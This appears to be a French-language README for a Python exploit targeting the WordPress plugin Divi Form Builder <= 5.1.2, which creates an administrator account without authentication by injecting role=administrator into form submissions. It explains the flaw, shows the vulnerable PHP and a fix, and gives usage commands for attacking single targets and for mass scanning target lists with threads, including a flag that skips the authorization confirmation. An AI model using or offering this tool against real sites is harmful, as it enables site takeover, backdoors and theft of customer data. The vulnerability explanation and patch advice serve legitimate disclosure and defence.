
Divi Form Builder <= 5.1.2 — Escalade de privilèges non authentifiée via injection de rôle
🔥 Résumé de la vulnérabilité
Le plugin WordPress Divi Form Builder versions <= 5.1.2 est vulnérable à une élévation de privilèges non authentifiée. Cette faille critique permet à des attaquants non authentifiés de créer un nouveau compte Administrateur directement via n'importe quel formulaire Divi Form Builder — y compris les formulaires de contact, de devis, de newsletter, ou tout autre formulaire activé par DFB.
La vulnérabilité provient de la fonction create_user() dans FormSubmissionHandler.php, qui accepte le paramètre role directement depuis les données POST soumises par l'utilisateur sans autorisation appropriée ni validation de liste blanche. Le plugin vérifie uniquement si le rôle soumis existe dans le système (par exemple, administrator est un rôle WordPress valide) — il ne vérifie jamais si le rôle est sûr pour une inscription publique.
Découverte majeure : Le fb_nonce utilisé par Divi Form Builder est un nonce global partagé (wp_create_nonce('security')) — identique sur tous les formulaires du site. De plus, form_type=register peut être remplacé via POST vers le gestionnaire AJAX partagé. Cela signifie que n'importe quel formulaire DFB (contact, devis, retour, etc.) peut être exploité pour déclencher une inscription d'utilisateur avec une attribution de rôle arbitraire.
🔍 Plugin concerné
🧨 Ce que les attaquants peuvent faire
🧪 Fonctionnalités de l'exploit
/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerrole=administrator avec les champs normaux du formulaireresult.txt🧠 Code vulnérable
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← "administrator" EXISTS, so this check PASSES
}
// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role); // ← PRIVILEGE ESCALATION!
🚀 Utilisation
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]
Créez targets.txt :
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
python3 exploit.py -l targets.txt -T 20
🛠 Recommandations de correctif
// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Reject ALL dangerous roles
}
role des formulaires frontendcurrent_user_can('create_users') pour les rôles privilégiés🧠 Chercheur
📚 Références
🔒 Avertissement :
Ces informations sont fournies à des fins éducatives et de tests de pénétration autorisés uniquement. L'exploitation non autorisée de systèmes informatiques est illégale et contraire à l'éthique. Obtenez toujours une autorisation écrite explicite avant de tester toute cible que vous ne possédez pas.
| Capacité | Impact |
|---|
| 🔑 Créer un compte admin sans connexion | Prise de contrôle totale du site |
| 📦 Accéder aux données clients WooCommerce | Violation de données |
| 💉 Modifier les fichiers PHP des plugins/thèmes | Exécution de code à distance |
| 🕳️ Installer des portes dérobées cachées | Accès persistant |
| 👥 Voir toutes les données utilisateur | Violation de la vie privée |
| Drapeau | Description |
|---|
-t, --target | URL de la cible unique |
-l, --list | Fichier contenant la liste des cibles (une par ligne, http/https optionnel) |
-T, --threads | Threads pour le scan de masse (par défaut : 10) |
-o, --output | Fichier de sortie pour les résultats (par défaut : result.txt) |
-u, --username | Nom d'utilisateur personnalisé pour le nouveau compte |
-p, --password | Mot de passe personnalisé pour le nouveau compte |
-e, --email | Email personnalisé pour le nouveau compte |
-v, --verbose | Sortie de débogage détaillée |
--no-confirm | Ignorer la demande de confirmation d'autorisation |